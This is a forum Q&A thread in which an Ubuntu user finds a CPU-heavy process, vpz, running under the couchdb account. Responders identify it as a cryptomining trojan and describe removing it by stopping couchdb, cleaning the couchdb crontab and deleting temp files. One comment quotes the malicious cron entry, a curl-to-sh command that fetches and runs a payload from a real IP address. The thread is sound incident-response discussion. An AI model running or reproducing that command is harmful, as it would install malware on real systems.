1

I am running couchdb on my Ubuntu server but there is a process running as the couchdb user called vpz.

I don't know what this is but it is running at over 150% of CPU.

I've stopped couchdb from running.
I kill the process but after about 10 seconds it comes back.

Does anyone know what this is, or how to stop it from using so much CPU?

The process, vpz, is running as the user couchdb. Output of ps -u couchdb below:

    ps -u couchdb
  PID TTY          TIME CMD
 9267 ?        04:50:06 vpz
10232 ?        00:10:09 beam.smp
10252 ?        00:00:00 sh
10337 ?        00:01:56 couchjs
10391 ?        00:02:52 couchjs
10393 ?        00:00:44 couchjs
10397 ?        00:01:31 couchjs
11013 ?        00:01:51 couchjs
12127 ?        00:00:57 couchjs
19805 ?        00:00:00 sh
19807 ?        00:00:00 sh
19855 ?        00:00:00 sleep

Output of grep couchdb /etc/passwd

grep couchdb /etc/passwd
couchdb:x:110:118:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash

Output of sudo find / -name vpz

sudo find / -name vpz
[sudo] password for admin:
/var/tmp/vpz
  • 1
    please edit your question, and add the output of ps -u vpz and grep vpz /etc/passwd – Yaron Jan 30 '18 at 8:38
  • Outputs of commands added. No user vpz - this is the name of the command. The user is run as couchdb. – Mudders Jan 30 '18 at 13:08
  • I've checked couchdb source code, and it doesn't hold any vpz inside. (it does hold couchjs and beam) – Yaron Jan 30 '18 at 13:19
  • please edit your question, with the result of sudo find / -name vpz – Yaron Jan 30 '18 at 13:20
  • Thanks. Found the file at /var/tmp/vpz. But it says it is not a text file so cannot see inside. Would it be safe to delete it? – Mudders Jan 30 '18 at 16:44
0

Turns out this is indeed a Bitcoin Mining Trojan. Everytime I delete the command it comes back after a few minutes. I did some googling for this and found a partial solution. Basically there is a cron job in the couchdb user profile First stop couchdb

sudo service couchdb stop

Run the following commands to find that crontab and remove the line there. sudo -i su couchdb crontab -e

Remove the files in /var/tmp and also in /tmp as there are some files in there that are also owned by couchdb.

After that I need to upgrade my couchdb installation.

  • I'd consider format/reinstalling Ubuntu from zero (after performing backup to all your personal data) - this should ensure that you won't have any hidden trojan/viruses in your system – Yaron Jan 31 '18 at 9:10
  • You saved my couchdb! In sudo -i su couchdb and crontab -e there was a cronjob curl http://94.250.253.178/logo6.jpg|sh that caused /var/tmp/vpz to reload once killed. – Peter Gerhat Feb 9 '18 at 14:31

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.